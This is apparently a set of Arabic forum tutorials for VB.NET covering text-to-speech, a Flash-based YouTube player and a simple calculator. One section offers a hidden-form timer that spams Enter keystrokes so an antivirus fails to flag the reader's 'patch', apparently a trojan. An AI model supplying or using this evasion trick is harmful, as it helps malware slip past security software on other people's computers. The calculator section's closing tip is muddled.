دروس vb.net

كيف الحال جميعا اليوم بعطيكم كود يجعل الحاسب يتكلم
بس انجليزي بس
نبدأ
اولا نفتح برنامج فيجول بيسك نت
ونضع على الفورم اداة
تكست بوكس
وبتون
ونصغرها متل مافي الصورة

الكود :

Public Class Form1

    Private Property objnametoSpeech As Object
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        objnametoSpeech = CreateObject("sapi.spvoice")
        objnametoSpeech.speak(TextBox1.Text)
    End Sub
End Class

السلام عليكم
أقدم لكم كود يجعل انتي فايرس الالماني الشهير لا يكتشف باتش متاعك
وهي عمل اداة للفورم تبعك
نبدأ بتصميم الاداة
ضع اداة تايمر في مشروعك وضع به هادا الكود
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
SendKeys "{enter}", True
MsgBox "تم التخطي", , "bato7.tk"

وطبعا اعمل اخفاء للفورم وأعمل التايمر تشتغل بعد تانية او 5 تواني فأنت تتحكم بها
اعمل انترافل 3000 تعني 3 تواني

موفقين بس انا لا ادعم من يقوم بمتل هاده الاشياء في حاسب شخص اخر
وشكرا

 

اليوم اقدم لكم درس في الفيجول بيسك دوت نت
وهو برنامج يعرض فيديوات يوت يوب
البرنامج رائع وارجو ان تستفيدو من الشرح نبدأ
أولا نفتح مشروع جديد فيجول بيسك نت
تم نضع الادوات التالية:
ShockwaveFlash1
TextBox1
Button1

وضعهم متل مافي الصورة:

وهادا الكود :

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click

        Dim aMovieURL As String
        aa = Split(TextBox1.Text, "watch?v=")
        If UBound(aa) > 0 Then
            aMovieURL = aa(0) + "/v/" + aa(1)
            axShockwaveFlash1.Movie = aMovieURL
            axShockwaveFlash1.Play()
        Else
            MsgBox("يجب وضع رابط الفيديو لتشغيله")
        End If
    End Sub

   بسم الله الرحمن الرحيمى
السلام عليكم اقدم لكم سورس كود برنامج الة حاسبة


- ثلات صناديق نص TextBox
2- صندوق مجموعة نص GroupBox
3- أربعة ازرار راديو  Radio Button توضع في صندوق المجموعة
4- ثلات ادواة    Labe 


تم قم بضبط الفورم
right to lift = yes
 ونجعل أسماء الكائنات كالتالي

نضغط دبل كليك على زر جمع ونضع هادا الكود

 Dim x, y As Double

        X = TextBox1.Text
        Y = TextBox2.Text
     TextBox3.Text = x + y

----------------------------------------------------------------------------

وكدالك نكتب هادا الكود على زر الطرح

 Dim x, y As Double

        x = TextBox1.Text
        y = TextBox2.Text
     TextBox3.Text = x - y

-------------------------------------------------------------------------------

وكدالك نكتب هادا الكود على زرالضرب

 Dim x, y As Double

        x = TextBox1.Text
        y = TextBox2.Text
    TextBox3.Text = x * y

--------------------------------------------------------------------------------

وكدالك نكتب هادا الكود على زر القسمه

Dim x, y As Double

        x = TextBox1.Text
        y = TextBox2.Text
  TextBox3.Text = x / y

---------------------------------------------------------------------------------

وكدالك نكتب هادا الكود على زر

                                                               

Dim x, y As Double

x = TextBox1.Text
y = TextBox2.Text
TextBox3.Text = x ^ y

----------------------------------------------------------------------------------------

ويمكننا تغير بعض الأشياء متل لعمل زر يساوي

نضع بدل ^ نضع =

-------------------------------------------------------------------------------------------